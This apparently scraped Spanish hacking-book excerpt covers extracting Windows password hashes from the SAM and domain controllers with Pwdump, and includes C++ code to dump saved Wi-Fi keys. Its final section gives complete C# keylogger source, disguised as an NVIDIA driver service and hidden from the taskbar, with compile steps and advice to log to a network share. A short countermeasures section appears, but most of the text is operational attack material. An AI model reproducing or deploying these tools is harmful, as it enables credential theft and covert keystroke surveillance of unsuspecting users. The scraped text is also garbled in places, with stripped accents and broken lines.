Anda di halaman 1dari 18

Cmo extraer una contrasea en un equipo o un

controlador de dominio
Este captulo nos permitir demostrar que es posible cambiar la contrasea de un usuario sin
tener conocimiento de la antigua contrasea, extraer las contraseas guardadas en un equipo
local o un controlador de domino. Es tambin posible escuchar las conversaciones de red para
recuperar las informaciones de autenticacin sin necesidad de acceder directamente al
sistema o descifrar una contrasea interceptada aunque est protegida.
Vamos a empezar por modificar la contrasea de un usuario sin saber la antigua. A decir
verdad, es el usuario quien la va a cambiar. Para ello, vamos a encapsular el siguiente script
con una de las tcnicas vistas en el captulo anterior, es decir, entregar a nuestra vctima un
documento, una aplicacin o un zip trampa con un pequeo trozo de cdigo.
Aqu tiene el script si va a modificar una aplicacin o un controlador.

Aqu, la lnea de cdigo si modifica un documento de Office:

El resto de los pasos han sido explicados en el captulo anterior, que puede tomar como
referencia. Una vez el documento o la aplicacin ejecutada, la contrasea del usuario se
cambiar en el dominio. Si la contrasea local debe modificarse, quite /Domain al final de la
lnea de comandos.

1. Herramientas de extraccin de contraseas de sesin


a. La SAM en detalle
Las contraseas estn encriptadas y guardadas en un sitio adonde no se puede acceder
directamente con cuentas de usuarios o de administradores. Solo la cuenta de sistema
tiene permiso para buscar informacin all. Este sitio es la SAM (Security Account
Management) para las cuentas locales y el Active Directory para los usuarios del dominio.
En las versiones de Windows anteriores a Vista, la contrasea se guardaba en
LanManager, un sistema muy dbil. Desde Vista, el sistema guarda un hash de la
contrasea usando MD4.
Al abrir una sesin local, la contrasea que el usuario teclea en la ventana de inicio de
sesin es resumida y comparada con la que se encuentra guardada en la SAM. En ningn
momento la contrasea se encuentra en texto plano.
Pero realmente qu es la SAM? Dnde se almacena? Cmo se puede acceder a ella?
La SAM es un fichero de registro que sirve para almacenar las contraseas, as como otras
informaciones de los usuarios locales: %systemroot%\system32\config\SAM

El fichero forma parte, como otros ficheros del registro del equipo, de una carpeta de
sistema.

Offline, arrancando con un medio oficial de Windows, es posible leer el fichero SAM o
robarlo para crackearlo ms tarde. Puede acceder tambin con los permisos de sistema
creando un servicio o adquiriendo los privilegios de sistema en el PC. Entonces puede leer
la parte del registro que guarda estas contraseas con regedit en su equipo actual. Para
obtener los permisos de sistema en un equipo, vaya al captulo Tomar el rol de
administrador o de sistema.
Seguidamente, puede ver un ejemplo sobre un sistema sin necesidad de reinicio usando
los privilegios de sistema:

Encontrar datos como las contraseas cifradas y las informaciones sobre los grupos de
seguridad en el registro: SAM\SAM\Domains\Account\Users
Gracias a los permisos de sistema, puede ver elementos que normalmente no puede ver
un usuario, como por ejemplo, en la imagen siguiente, para el usuario Admin, el valor
0x3e8, que corresponde a su RID, es decir, 1006 en decimal.

La contrasea, as como otras informaciones para Admin, se encuentran en la clave de


registro: HKLM\SAM\SAM\Domains\Account\Users\000003E8
La clave V, llamada V-Block, almacena la contrasea del usuario, as como informaciones
sobre su perfil.

Este bloque contiene el hash de la contrasea, pero el contenido se encuentra cifrado en


DES y usa dos claves derivadas del RID del usuario para protegerlo.

La cuenta de sistema tiene acceso a las contraseas en forma de resumen. Si desea


extraerlas automticamente, tendr que crear una aplicacin, como un servicio, que
pueda obtener estos permisos.

b. Extraer las contraseas de la SAM


Para extraer las contraseas, vamos a utilizar una herramienta. Encontrar en Internet la
herramienta Pwdump, que extraer los datos del registro. Solo nos quedar descifrarlas.
Ejecutar la herramienta con privilegios elevados no es suficiente. Se debe ejecutar con la
cuenta de sistema. De lo contrario, obtendr el siguiente mensaje:

Arranque Pwdump en su versin 6 con la cuenta de sistema y los parmetros siguientes:


PwDump.exe -x localhost > pass.txt
El fichero pass.txt contiene ahora todos los hash MD4 de las contraseas.
El resultado de la extraccin se parece al listado siguiente:
admin:1006:00000000000000000000000000000000:
61feeb455de86806b42b88f55f2d569d:::
Obtenemos as el nombre de usuario, su RID, la contrasea en LM que desde Vista no se
almacena y por fin la contrasea en NTML. La parte que nos interesa es la ltima:

61feeb455de86806b42b88f55f2d569d
Usaremos esta informacin cuando intentemos averiguar la contrasea.

c. Extraer las contraseas de un controlador de dominio


En una empresa, el hash de las contraseas se almacena en el Active Directory,
precisamente en la base de datos NTDS.dit. Los atributos Unicodepwd y User-Password
parecen contener estas informaciones. Pero es imposible obtener una respuesta del
controlador de dominio, incluso con herramientas como Adsedit o ldp. Para buscar estos
campos, debe leer directamente el fichero NTDS.dit. Este fichero es una base de datos
del mismo tipo que Exchange o que la indexacin de ficheros en Windows Vista. Utiliza un
motor ESE (Extensible Storage Engine). La clave de cifrado para el acceso a ciertas tablas
que contienen las contraseas es la misma para todos los controladores de dominio. La
clave de sistema (SYSKEY) protege la clave de cifrado de las contraseas en cada
mquina. Los que desean ir ms all en este asunto, encontrarn informacin en las
direcciones
siguientes:
http://code.google.com/p/libesedb/downloads/list
y
http://www.nirsoft.net/utils/ese_database_view.html
Para hacerlo ms sencillo, vamos a utilizar en un controlador de dominio la herramienta
que ya hemos usado: Pwdump en su versin 6.
Ejectela directamente en el DC como usuario sistema.
Pwdump -x Localhost
La herramienta consigue los hashes de las contraseas de todos los usuarios del dominio.

Pwdump puede usarse remotamente si el servidor no tiene activado el firewall local, pero
s los servicios de gestin remota.
pwdump -o passwd.txt -u Dominio\Usuario -p contrasea NombrePC

Existen otras herramientas para la lnea de comandos, como SAMDump, cuyo principio
de uso es parecido al ya descrito. En resumen, es posible extraer el hash de la contrasea
de un usuario, ya sea este local o en un dominio. Se debe tener para eso privilegios de
sistema en el equipo que lo almacena. Encontrar otras herramientas en el captulo
Desarrollar sus propias herramientas de hacking - Romper una contrasea.

Los que desean crear sus propias herramientas de extraccin de contraseas,


encontrarn fcilmente en Internet las fuentes de la herramienta Pwdump escrita en C.

2. Herramientas de extraccin de otras contraseas


Un puesto de trabajo puede almacenar numerosas informaciones interesantes para un
pirata, como un nombre de usuario y una contrasea para la apertura de un sitio
compartido, de un sitio web, de una cuenta de correo electrnico, de una red Wifi.
Las contraseas de aplicaciones se guardan generalmente en el registro del usuario, en
texto plano, en hexadecimal, en binario o con un cifrado reversible. Las contraseas se
encuentran en un momento u otro en texto plano en la memoria; es una de las maneras
empleadas por los programas para leerlas.

a. Analizar el funcionamiento de una aplicacin


La contrasea se encuentra raramente en texto plano en el registro. Esto depende
fundamentalmente del software que la almacena. En el caso de una contrasea cifrada, la
clave de descifrado se encuentra tambin en el sistema. Encontrar una contrasea es un
poco como jugar al perro y al gato entre el lugar y la manera donde se almacenan la
clave de cifrado y la contrasea del software.
Por lo tanto, vamos a ver cmo encontrar dnde se almacenan las contraseas y,
eventualmente, las claves de cifrado.
Para ello, usaremos una herramienta de Microsoft que en origen fue escrita por Mark
Russinovich y Bryce Cogswell para Sysinternals. Se trata de ProcessMon.exe, que
representa una mezcla de RegMon, NetMon y FileMon y que permite vigilar el acceso de
una aplicacin a un fichero o a una clave de registro y el acceso a la red. Process Monitor
se puede descargar en el sitio web de Microsoft: http://technet.microsoft.com/enus/sysinternals/bb896645.aspx
Vamos a tomar el ejemplo de las contraseas que Internet Explorer guarda al almacenar
las informaciones de los campos de un formulario web. La carpeta de almacenamiento
depende de la versin de IE.

Al almacenar o leer una contrasea en IE, podemos observar la lectura/escritura de los


valores de las claves siguientes:

Antes del almacenamiento de una contrasea, el registro se parece a lo siguiente:

Justo despus, se aade la subclave Storage2 con una entrada binaria.

El GUID del equipo tambin es ledo justo antes que la clave anterior en el cifrado o
descifrado de la contrasea. Es normal, ya que el GUID se usa al realizar estas
operaciones de cifrado, as como la URL.

Desde
IE7
hasta
IE9,
el
navegador
guarda
las
HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2

contraseas

en:

IE10 utiliza el Credential Manager para recordar sus contraseas en un fichero que se
encuentra
en
el
directorio:
C:\Users\
[NombreUsuario]\AppData\Roaming\Microsoft\Credentials

Este tipo de anlisis permite comprender el modo de funcionamiento y el proceso de


cifrado y almacenamiento, pero no nos da el algoritmo utilizado. Para esto hay que buscar
o descompilar la aplicacin, lo que se aleja del objetivo de esta obra.

b. Recuperar la contrasea de una conexin inalmbrica guardada en el PC


Con la misma herramienta de monitoreo, podemos encontrar dnde se almacenan las
contraseas de las conexiones inalmbricas en un PC. Extraer estas informaciones de un
equipo objetivo podra permitir a un atacante conectarse a su red privada o a la de la
empresa. Estas informaciones se almacenan con el SSID y el tipo de cifrado utilizado:
C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\
El directorio Interface contiene un subdirectorio por cada tarjeta de red Wifi.

Las informaciones de las claves se almacenan en un fichero XML con un nombre aleatorio.
Para comprender mejor el funcionamiento del guardado de estas claves, vamos a crear
una nueva conexin segura y buscaremos la contrasea.
Cree una nueva conexin de red inalmbrica desde el Panel de control.

Escriba un nombre y una contrasea para esta conexin.

La nueva conexin se ha guardado y se ha cifrado la contrasea.

c. Crear una herramienta de recuperacin de una conexin inalmbrica


Vamos a crear una herramienta para descifrar y recuperar la contrasea de una conexin
inalmbrica. El fichero que guarda la clave contiene un valor cifrado llamado keyMaterial.
Para descifrar este valor, es posible usar las API de wlanapi.dll con WlanGetProfile o
CryptUnprotectData de Crypt32.dll.
Encontrar informacin sobre el valor keyMaterial aqu: http://msdn.microsoft.com/enus/library/ms706987(VS.85).aspx
Para compilar el cdigo propuesto, puede descargar y utilizar Visual Studio 2013 Express
para
Windows
Desktop
en
el
sitio
web
de
Microsoft:
http://www.visualstudio.com/products/visual-studio-express-vs
El cdigo que va a escribir est en parte inspirado por el cdigo de ejemplo, facilitado por
Microsoft, sobre el uso de la funcin WlanGetProfile. Encontrar el ejemplo en el sitio
web
de
Microsoft
en
el
enlace
siguiente:
http://msdn.microsoft.com/enus/library/windows/desktop/ms706738(v=vs.85).aspx
Escriba el siguiente cdigo en un editor de texto o en Visual Studio Express (C++).
#ifndef UNICODE
#define UNICODE
#endif

#include <windows.h>
#include <wlanapi.h>
#include <objbase.h>
#include <wtypes.h>

#include <stdio.h>
#include <stdlib.h>

// Need to link with Wlanapi.lib and Ole32.lib


#pragma comment(lib, "wlanapi.lib")
#pragma comment(lib, "ole32.lib")

int _cdecl wmain(int argc, WCHAR **argv)


{

HANDLE hClient = NULL;

DWORD dwMaxClient = 2;

//

DWORD dwCurVersion = 0;
DWORD dwResult = 0;
DWORD dwRetVal = 0;
int iRet = 0;

WCHAR GuidString[39] = {0};

unsigned int i;

PWLAN_INTERFACE_INFO_LIST pIfList = NULL;


PWLAN_INTERFACE_INFO pIfInfo = NULL;

LPCWSTR pProfileName = NULL;


LPWSTR pProfileXml = NULL;

DWORD dwFlags = WLAN_PROFILE_GET_PLAINTEXT_KEY;


DWORD dwGrantedAccess = 0;

if (argc < 2) {
wprintf(L"usage: %s <profile>\n", argv[0]);
wprintf(L"

Gets a wireless profile\n");

wprintf(L"

Example\n");

wprintf(L"

%s \"Default Wireless\"\n", argv[0]);

exit(1);
}

pProfileName = argv[1];

wprintf(L"Information for profile: %ws\n\n", pProfileName);

dwResult = WlanOpenHandle(dwMaxClient, NULL, &dwCurVersion, &hClient);


if (dwResult != ERROR_SUCCESS) {
wprintf(L"WlanOpenHandle failed with error: %u\n", dwResult);
return 1;

dwResult = WlanEnumInterfaces(hClient, NULL, &pIfList);


if (dwResult != ERROR_SUCCESS) {
wprintf(L"WlanEnumInterfaces failed with error: %u\n", dwResult);
return 1;
// You can use FormatMessage here to find out why the function
failed
} else {
wprintf(L"WLAN_INTERFACE_INFO_LIST for this system\n");

wprintf(L"Num Entries: %lu\n", pIfList->dwNumberOfItems);


wprintf(L"Current Index: %lu\n\n", pIfList->dwIndex);
for (i = 0; i < (int) pIfList->dwNumberOfItems; i++) {
pIfInfo = (WLAN_INTERFACE_INFO *) &pIfList->InterfaceInfo[i];
wprintf(L"

Interface Index[%u]:\t %lu\n", i, i);

iRet = StringFromGUID2(pIfInfo->InterfaceGuid,
(LPOLESTR) &GuidString,
sizeof(GuidString)/sizeof(*GuidString));
// For c rather than C++ source code, the above line needs to be
// iRet = StringFromGUID2(&pIfInfo->InterfaceGuid,
(LPOLESTR) &GuidString,
//

sizeof(GuidString)/sizeof(*GuidString));

if (iRet == 0)
wprintf(L"StringFromGUID2 failed\n");
else {
wprintf(L"

InterfaceGUID[%d]: %ws\n",i, GuidString);

}
wprintf(L"

Interface Description[%d]: %ws", i,

pIfInfo->strInterfaceDescription);
wprintf(L"\n");
wprintf(L"

Interface State[%d]:\t ", i);

switch (pIfInfo->isState) {
case wlan_interface_state_not_ready:
wprintf(L"Not ready\n");
break;

case wlan_interface_state_connected:
wprintf(L"Connected\n");
break;
case wlan_interface_state_ad_hoc_network_formed:
wprintf(L"First node in a ad hoc network\n");
break;
case wlan_interface_state_disconnecting:
wprintf(L"Disconnecting\n");
break;
case wlan_interface_state_disconnected:
wprintf(L"Not connected\n");
break;
case wlan_interface_state_associating:
wprintf(L"Attempting to associate with a network\n");
break;
case wlan_interface_state_discovering:
wprintf(L"Auto configuration is discovering
settings for the network\n");
break;
case wlan_interface_state_authenticating:
wprintf(L"In process of authenticating\n");
break;
default:
wprintf(L"Unknown state %ld\n", pIfInfo->isState);
break;
}
wprintf(L"\n\n");

dwResult = WlanGetProfile(hClient,
&pIfInfo->InterfaceGuid,
pProfileName,
NULL,
&pProfileXml,
&dwFlags,
&dwGrantedAccess);

if (dwResult != ERROR_SUCCESS) {
wprintf(L"WlanGetProfile failed with error: %u\n",
dwResult);
// You can use FormatMessage to find out why the function
failed
} else {
wprintf(L"

Profile Name:

%ws\n", pProfileName);

wprintf(L"

Profile XML string:\n");

wprintf(L"%ws\n\n", pProfileXml);

wprintf(L"
//

dwFlags:\t

0x%x", dwFlags);

if (dwFlags & WLAN_PROFILE_GET_PLAINTEXT_KEY)

//

wprintf(L"

Get Plain Text Key");

if (dwFlags & WLAN_PROFILE_GROUP_POLICY)


wprintf(L"

Group Policy");

if (dwFlags & WLAN_PROFILE_USER)


wprintf(L"

Per User Profile");

wprintf(L"\n");

wprintf(L"

dwGrantedAccess:

0x%x", dwGrantedAccess);

if (dwGrantedAccess & WLAN_READ_ACCESS)


wprintf(L"

Read access");

if (dwGrantedAccess & WLAN_EXECUTE_ACCESS)


wprintf(L"

Execute access");

if (dwGrantedAccess & WLAN_WRITE_ACCESS)


wprintf(L"

Write access");

wprintf(L"\n");

wprintf(L"\n");
}
}

}
if (pProfileXml != NULL) {
WlanFreeMemory(pProfileXml);
pProfileXml = NULL;

if (pIfList != NULL) {
WlanFreeMemory(pIfList);
pIfList = NULL;
}

return dwRetVal;
}
Una vez el cdigo compilado, puede usar el programa con objeto de recuperar una
contrasea guardada para una red inalmbrica determinada.
Ejecute su programa con privilegios elevados indicando como parmetro el SSID de la red Wifi.
Preste atencin a las maysculas y minsculas, ya que son importantes.
El resultado se presenta en pantalla en el valor keyMaterial.

El cdigo completo, as como una versin compilada de la herramienta, se pueden


descargar desde la pgina Informacin.

d. Otras herramientas
Vamos a desarrollar herramientas para recuperar las contraseas de cada aplicacin,
aunque existen una multitud de herramientas gratuitas descargables.
Adems, la mayora de estas herramientas se puede obtener con script, lo que permite
una eventual comunicacin con su aplicacin.
Por ejemplo, en el sitio web http://www.nirsoft.net/ encontrar herramientas que
permiten recuperar las contraseas almacenadas desde las versiones IE7 hasta IE9.

Una herramienta que permite recuperar la contrasea del Wifi (como la que acabamos de
desarrollar):

Recuperar las contraseas de red:

Una contrasea almacenada en un fichero RDP:

Securityxploded.com es otro sitio web que propone un conjunto de herramientas que


permiten recuperar una contrasea perdida, como PDF Password Recovery:

Outlook Password Decryptor permite obtener informaciones interesantes sobre las cuentas
de correo electrnico almacenadas. En el entorno de las pymes, no es raro disponer de
cuentas de correo electrnico POP o IMAP.

Word Password Recovery permite encontrar las contraseas de los documentos de Word
protegidos:

La mayora de estas herramientas se pueden usar en lnea de comandos y por lo tanto


pueden incorporarse en un script. Esto significa que pueden integrarse en un programa
pirata, como hemos visto en los captulos anteriores.
Este programa, usado para recuperar informaciones guardadas por Safari, lo demuestra.

3. Contramedidas
Para impedir la extraccin de las contraseas, en primer lugar debe evitar que los usuarios
puedan convertirse en administradores de un equipo o del dominio. Solo as conseguir
reducir las fugas de informacin. Debe instalar un antivirus eficaz y actualizarlo diariamente
para que detecte productos como Pwdump y los dems programas de extraccin de
contraseas. A nivel de procedimiento, configure distintas cuentas de usuario para la
administracin de los equipos, de los servidores y de los controladores de dominio. Para
cada usuario con necesidad de permisos de administracin, cree una cuenta de usuario
diferente segn el rol con objeto de cumplir el principio del mnimo privilegio.
Por ejemplo, para el usuario Bob:

Cree una cuenta Bob para el uso habitual como el correo electrnico, los
documentos, la navegacin web, etc.

Cree una cuenta ADM_SRV_Bob para la administracin de servidores.

Cree una cuenta ADM_AD_Bob para la administracin de Active Direc-tory.

Cree una cuenta ADM_PC_Bob para la administracin de los PC.

Esto reducir la gravedad de un ataque si una de las cuentas es hackeada por un programa
maligno.
Condiciones generales de uso

Crear un keylogger
Existen numerosos keyloggers. La mayora de ellos usan un sistema muy conocido, el mtodo
SetWindowsHookEx, que permite almacenar las teclas pulsadas. Sin embargo, es tambin lo
primero que miran los sistemas de seguridad para impedir la captura del teclado.
Encontrar ms informacin sobre el mtodo SetWindowsHookEx en el sitio web de Microsoft,
en
la
siguiente
direccin:
http://msdn.microsoft.com/enus/library/windows/desktop/ms644990(v=vs.85).aspx
Vamos a usar una tcnica diferente para ser ms discretos. Nuestro programa ir pidiendo
regularmente las teclas en vez de suscribirse a los eventos de teclado. El cdigo que
presentamos gestiona la tecla pulsada pero no si esta se escribe en maysculas, es decir si
[Alt] o [Mays] son pulsadas al mismo tiempo.

1. Principios bsicos
Para esconder un poco ms la aplicacin en el administrador de tareas, vamos a darle un
nombre con sus propiedades. Esto se hace por medio de las propiedades de la aplicacin.
El nombre dado se parece al de un servicio de driver.
using System.Reflection;
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]
[assembly:AssemblyVersion("7.17.13.697")]
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]
Usaremos en .NET User32.dll, que nos permitir buscar las informaciones tecleadas con
toda discrecin. La funcin DllImport va a permitirnos cargar esta DLL.
[DllImport("User32.dll")]
private static extern int GetAsyncKeyState (long vKey);
[DllImport("user32.dll")]
static extern uint MapVirtualKey(uint uCode, uint uMapType);
Esta vez crearemos una aplicacin que no se mostrar al usuario. Es una aplicacin de tipo
Windows. No cargaremos el Form principal en el programa. Configuraremos asimismo las
propiedades de la aplicacin para que no aparezca en la parte clsica del administrador de
tareas.
f1.Name = "NVIDIA Driver Helper Service";
f1.ShowInTaskbar = false;

f1.Hide();
Application.Run();
Todas estas particularidades permitirn que nuestra aplicacin sea discreta y eficaz. Le
quedar aadir la aplicacin al arranque, como hemos visto en el captulo anterior.

2. Crear la aplicacin
Cree un nuevo fichero de texto llamado Driver.txt y aada el siguiente cdigo:
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Threading;
using System.Reflection;
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]
[assembly:AssemblyVersion("7.17.13.697")]
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]
namespace keyLogger
{

class Program
{

[DllImport("User32.dll")]
private static extern int GetAsyncKeyState (long vKey);
[DllImport("user32.dll")]
static extern uint MapVirtualKey(uint uCode, uint uMapType);

static StreamWriter fichero;


static string rutaFichero = @"c:\temp\logkey.txt";
static Form f1 = new Form();

static void Main(string[] args)


{
f1.Name = "NVIDIA Driver Helper Service";
f1.ShowInTaskbar = false;
f1.Hide();
f1.WindowState = FormWindowState.Minimized;
System.Timers.Timer minutero1 = new System.Timers.Timer();
minutero1.Enabled = true;
minutero1.Interval = 1;
minutero1.Elapsed += minutero1_action;
Thread th = new Thread(minutero1.Start);
th.Start();
fichero = new StreamWriter(rutaFichero, true);
fichero.WriteLine(DateTime.Today.ToLongDateString() +
Environment.NewLine);
Application.Run();
}

static void minutero1_action(object sender,


System.Timers.ElapsedEventArgs e)
{
int respuesta = -1;
for (uint i = 0; i < 256; i++)
{
respuesta = GetAsyncKeyState(i);
if (respuesta == -32767)
escribirLog(i);
}
}

static private void escribirLog(uint letra)


{
uint codigo = 0;
codigo = MapVirtualKey(letra, 2);
string texto = ((char)(codigo)).ToString();
fichero.Write(texto);

fichero.Flush();
}

}
}

3. Compilar la aplicacin
Esta vez, nuestra aplicacin es una aplicacin Windows Forms invisible. El tipo de destino
debe ser winexe.
Vaya al directorio del framework 2 o 4 y ejecute el comando de compilacin. A continuacin
le recordamos el comando para el Framework 2:
cd C:\Windows\Microsoft.NET\Framework\v2.0.50727
csc /out:c:\temp\nkey.exe /target:winexe c:\temp\driver.txt
Una vez arrancada la aplicacin, esta no se presenta al usuario ni tampoco en la parte
clsica del administrador de tareas.

La encontraremos en el detalle de la tarea con las propiedades aadidas al fichero.

Queda muy discreto y el log se llena en cada tecla pulsada.


Puede crear un fichero de log en una carpeta compartida de red, en vez de crearlo en el
equipo local; reflexione sobre ello.

Condiciones generales de uso


Copyright - Editions

Anda mungkin juga menyukai